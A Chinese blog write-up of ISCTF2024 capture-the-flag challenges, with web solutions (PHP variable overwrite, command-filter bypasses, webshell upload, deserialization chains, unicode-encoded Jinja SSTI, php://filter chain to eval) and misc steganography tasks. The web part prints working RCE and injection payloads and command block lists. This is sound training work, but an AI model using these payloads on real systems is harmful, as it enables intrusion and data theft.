ISCTF2024

WEB

25时晓山瑞希生日会

http题

  • 你不是烤p!要是Project Sekai的客户端请求才能加入生日会
    改UA

  • 只能从本地来

加个X-F-F头

  • 你似乎没在正确的时间来


回复包头有date的正确格式

  • 生日会已经结束了…25时夜音见

慢慢改时间

小蓝鲨的冒险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}

这里有个知识点是parse_str($b)漏洞
这个函数不会检查变量 $b 是否存在,如果通过其他方式传入数据给变量$b ,且当前$b中数据存在,它将会直接覆盖掉。

payload

1
2
?b=a[0]=s878926199a&which=flag
num=2024.3

下面的switch涉及到弱比较
传入值flag与数字对比为0,满足第一个条件,而第一个case没有break终止,所以到2包含输出flag

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file('index.php');

#一句话木马,神神又奇奇

if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

反斜杠绕过即可

1
J=c\at /f14g

ezrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

禁用了系统函数和命令,但没禁用完全

1
?cmd=passthru('c\at%09/f*');

UP!UPloader

上传一句话木马,并没有限制
上传后提示
文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。

伪协议读取upload.php看保存到哪个位置了

1
include.php?filename=php://filter/convert.base64-encode/resource=upload.php

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ;
} else {
echo "文件存储失败,未知原因......";
}
die();
}
?>

就是uploads+我们上传文件的MD5编码.php

1
1=system('env');

flag在env中

天命人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";

function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>

不多bb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
// public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
// echo '$j = '.$j;
$yin="s214587387a";
$yang=$_GET['J'];
// var_dump(md5($yin)==$yang);
// echo '<br>';
// var_dump(md5($yin)==md5($yang));
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
// public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";

function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}

$Tianmingren= new Tianmingren();
$Jingdouyun= new Jingdouyun();
$Dinghaishenzhen =new Dinghaishenzhen();
$Huoyanjinjing =new Huoyanjinjing();
$Wuzhishan= new Wuzhishan();
$Tianmingren->tianming=$Dinghaishenzhen;
$Dinghaishenzhen->yun = $Huoyanjinjing;
$Huoyanjinjing->huoyan = $Wuzhishan;
//$Huoyanjinjing->jinjing='123';
//$Wuzhishan->shan= $Jingdouyun;
$Tianmingren=array($Tianmingren,0);
echo urlencode(serialize($Tianmingren));
//throw new Exception('开局一根棍,装备全靠打。');

主要是绕过throw new Exception


破坏反序列化结构

payload

1
2
?J=0e215962017
Wukong=a:3:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":1:{s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":2:{s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}

ezSSTI

没有用常用的注入方式
用的是unicode编码绕过,相对于不是那么繁杂
不多bb

1
2
ls /
{%print(lipsum|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u0065\u0076\u0061\u006c')('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u006c\u0073\u0020\u002f\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029'))%}

直接换最后一个括号的内容,非常方便
cat /flag

1
{%print(lipsum|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u0065\u0076\u0061\u006c')('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029'))%}

看了大二的报告才知道fenjing这个东西,可以自动化爆出ssti
介绍:焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。
使用pip安装运行
pip install fenjing
fenjing webui
#fenjing scan –url ‘hTTp://sdxxx:xxx’

fenjing_github

方便是方便了,就是有点慢啊👀

小蓝鲨的秘密

很可惜,这个简单题没做出来,出题人很有水平只能说

这题的切入点是开启靶机
打开题名后直接重定向到官网,做题的时候一直没注意这个,因为蓝鲨信息是做隐写解密的,我一直以为应该是要把它官网中的一段二进制源码解密,才能得到flag🤣,还是经验太少了
既然是重定向

我们先来看靶机开启的链接
在进入这个链接之前抓包以防它又重定向到官网了

长知识了,还能这么玩

小蓝鲨的临时存储室

这道题也是简单题,竟然没做出来

文件上传题,其实它没有过滤任何东西
再找flag的过程中发现蚁剑突然连不上了
发现根目录下有一个文件down_file.sh
他哟个一个把我们入口删除的任务

把它注释掉即可(也可直接上传不死马)

发现flag,但没有我们读取的权限,当时我的思路是提权,脏牛,suid提权等等
但其实看我们down_file.sh属于我们apache这个用户,且有执行权限,但这里我不明白的是,apache的用户怎么可以控制root用户的内容

等待3-5分钟即可,不要主动执行这个sh程序,要系统自动执行(当时想到这么做,但是没等太久,所以flag没爆出来就觉得这个方法行不通)

可以看到flag的权限已被改为最大权限,我们现在可以读了,且flag也被写入了/tmp/111

ezserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

class Flag {
private $flag;

public function __construct() {
$this->flag = file_get_contents('/flag');
}

public function getFlag() {
return $this->flag;
}

public function __toString() {
return "You can't directly access the flag!";
}
}

class User {
public $username;
public $isAdmin = false;

public function __construct($username) {
$this->username = $username;
}

public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}

if (isset($_GET['data'])) {
$data = $_GET['data'];

$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>

触发点为User类的wakup魔法函数,只要让isAdmin为true就能出flag
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);

class Flag {
private $flag;

public function __construct() {
$this->flag = file_get_contents('/flag');
}



}

class User {
public $username;
public $isAdmin = true;




}

$User = new User();
echo urlencode(serialize($User));
?>

千年樱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "dir.php";
highlight_file(__FILE__);

echo "proof of work<br>";

if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}

// <!-- do you want to learn more? goto story.txt -->
?>

好绕过,加个cookie头

进入/get_contents_qwerghjkl.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "dir.php";
highlight_file(__FILE__);

if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}


?>

直接name=ISCTF会报错,用data伪协议写入
POST传:name=data://text/plain,ISCTF

进入/well_down_mlpnkobji.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}


?>

这里可以用php://filter链构造字符加strips_tags截断
filterchain加string.strip_tags随意构造字符串

1
2
if($_GET['output'] == 114514 && !is_numeric($_GET['output']))
var_dump($result);

这一段可以通过GET传入:output=114514a来绕过

这里我们用php_filter_chain_generator这个工具生成

1
python php_filter_chain_generator.py --chain 'sakura for ISCTF<?'

<?是闭合标签

生成内容

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

接下来我们要删减一些东西,在增添string.strip_tags把后面乱码消掉
删减前面的

1
php://filter/convert.iconv.UTF8.CSISO2022KR|

以及删减后面的

1
/resource=php://temp

再在最后加上

1
|string.strip_tags

得到payload

1
convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

下面用cmd rce即可

MISC

小蓝鲨的签到02

将里面的jpg文件用记事本打开即可,flag在最后面

数字迷雾:在像素中寻找线索

解压缩包,是个png文件,png文件可以用zsteg嗦一下

少女的秘密花园

解压缩包发现有个flag.jpg文件,先用010打开

发现50 4b开头的16进制头,这通常代表zip包头,放到binwalk分离一下

1
binwalk -e flag.jpg


分离出压缩包

解压后有个base_misc,照样用010查看一下

照样是个zip文件,改一下后缀为zip

有密码且没有提示,爆破一下

密码是040714

输入密码后显示如上
chatgpt得知这是图片转base64,现在把base64转图片

得到图片,但是感觉下面的不完整,应该需要改分辨率
用脚本爆破宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import zlib
import struct


with open(r"result.png",'rb') as image_data:
bin_data = image_data.read()
data = bytearray(bin_data[12:29])
crc32key = struct.unpack('>I', bin_data[29:33])[0]
#理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
n = 4096
#高和宽一起爆破
for w in range(n):
# q为8字节,i为4字节,h为2字节
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("width:%s height:%s" % (bytearray(width).hex(),
bytearray(height).hex()))
exit()


修改宽高

现在就显示完全了

但是这是什么图片呢?
试过各种矩阵码都不行
查看wp发现这是盲文。。。。

按行来对照写入
得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2
base32解密得到flag

像素圣战

png文件老规矩先给zsteg,但并没有有效信息
将图片上传到该网站
PixelJihad图片隐写解密工具,密码是ISCTF,好像是纯猜

点击查看消息

1
10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001

得到隐写的数据,这里工具可以直接嗦,实际步骤为将二进制字符串倒置,然后7位一组转ascii

watermark

打开

其中flag.zip需要密码
还是刚才的工具,把key.2.png拖到工具的FFT执行

然后在图片所在的目录中新生成了一个图片,发现了隐写的盲水印

打开key1.txt,根据提示可为零宽字节隐写

在线网站进行
文本隐水印

key1key2拼接打开压缩包

秘密


打开需要密码
疑似为伪加密,需要修复
用010打开zip文件


把这两个09改为00
然后就可以解压了

010打开搜索到密码 ISCTF2024

联想到我们的秘密,进行oursecret进行解密

源目录下生成了一个文件
打开

尝试零宽字节隐写解密,在线或工具都行

好家伙,万能工具

starry sky

打开

发现图片打不开,查看源码或者拖进工具中

base64转图片

下载下来
拖到010中,发现XORkey为FF

文件夹中正好有个xor文件
这里用个工具,简易文件XOR工具

010打开发现为wava可知是音频文件,改后缀为.wav
播放使用RX-SSTV得到dsekey为YanHuoLG

使用在线des解密,把f1ag.txt的内容放进去

赢!rar

用010查看看到密码为admin123456
或者用winrar也可以看到密码
用7z打开压缩包,发现有一个文件是不一样的,而其它文件都是相同的内容,而winrar看不到这个文件

把这个文件的内容放到随波逐流中可以直接嗦出来

老八奇怪自拍照

解压得到一张png图片,用StegSolve检查各个通道

点击最下面的左右来检查各个通道



发现在红色5 绿色2 蓝色1 通道内有明显的LSB隐写的特征
一眼zip将其保存出来解压

改后缀为zip解压,用winrar会报错,用7z解压
在属性里可以发现作者一栏有信息

用这个作为密码解StegHide即可得到flag.txt

1
steghide extract -sf isctf.jpg -p 1ScTf2024!;

File_Format

附件中有个flag文件,查看16进制头不知道是什么文件的头
丢进DIE

发现这是个WinAce文件
搜索后发现可以用ARCHPR爆破,直接爆破密码

密码为:241023
将flag后缀改为exe后打开

输入密码即可获得flag


ISCTF2024
http://example.com/2024/11/11/ISCTF2024/
作者
奇怪的奇怪
发布于
2024年11月11日
许可协议